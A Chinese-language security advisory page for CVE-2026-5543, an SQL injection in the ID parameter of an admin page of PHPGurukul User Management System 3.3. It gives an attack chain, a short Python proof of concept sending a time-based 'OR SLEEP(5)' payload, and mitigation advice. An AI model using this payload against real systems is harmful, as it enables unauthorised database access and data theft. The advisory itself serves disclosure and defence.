IPBUF安全漏洞报告
English
CVE-2026-5543 CVSS 6.3 中危

CVE-2026-5543 PHPGurukul用户管理系统SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5543
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul User Registration & Login and User Management System

相关标签

SQL注入PHPGurukulCVE-2026-5543Web安全远程代码执行

漏洞概述

PHPGurukul User Registration & Login and User Management System 3.3版本中被发现存在SQL注入漏洞。该漏洞源于文件/admin/yesterday-reg-users.php中未能正确过滤用户输入的ID参数。远程攻击者无需用户交互,仅需低权限即可利用此漏洞执行恶意SQL语句,可能导致敏感数据泄露、数据篡改或系统服务不可用。

技术细节

该漏洞属于典型的SQL注入漏洞,位于PHPGurukul用户管理系统的后台管理接口。具体受影响的文件是/admin/yesterday-reg-users.php,该文件在处理数据库查询时,直接将用户通过HTTP请求传递的'ID'参数拼接到SQL语句中,未进行任何有效的输入验证或参数化查询处理。根据CVSS向量分析,攻击复杂度低(AC:L),且攻击者无需特殊用户交互(UI:N),只要拥有低权限账户(PR:L)即可通过网络(AV:N)发起攻击。攻击者可以通过构造包含UNION SELECT、布尔盲注或基于时间的盲注Payload的请求,绕过认证逻辑或提取数据库中的敏感信息,进而控制系统的机密性、完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是PHPGurukul User Registration & Login and User Management System 3.3版本。
STEP 2
获取访问权限
攻击者注册或通过弱口令获取一个低权限账户,满足PR:L(低权限)的要求。
STEP 3
发送恶意请求
攻击者向/admin/yesterday-reg-users.php发送特制的HTTP GET/POST请求,在ID参数中注入SQL恶意代码。
STEP 4
执行SQL注入
后端数据库未过滤输入,直接执行攻击者构造的SQL语句,导致数据泄露或篡改。
STEP 5
达成影响
攻击者成功提取管理员密码哈希或其他敏感信息,可能进一步提权或破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://example.com/admin/yesterday-reg-users.php" # Attacker's session cookie (Simulating low-privilege user) cookies = { "PHPSESSID": "attacker_session_id_here" } # Malicious payload to test SQL Injection # Payload: ' OR SLEEP(5)-- (Testing for Time-Based Blind SQL Injection) payload_params = { "ID": "1' OR SLEEP(5)-- " } try: print("[+] Sending malicious request to target...") response = requests.get(target_url, params=payload_params, cookies=cookies, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection confirmed (Time-based delay detected).") else: print("[-] Exploit attempt failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}")

影响范围

PHPGurukul User Registration & Login and User Management System 3.3

防御指南

临时缓解措施
在官方补丁发布之前,建议在Web应用防火墙(WAF)中部署规则,拦截针对/admin/yesterday-reg-users.php接口的异常SQL请求特征。同时,应暂时禁用该功能模块或限制对管理后台的IP访问白名单,以降低被攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表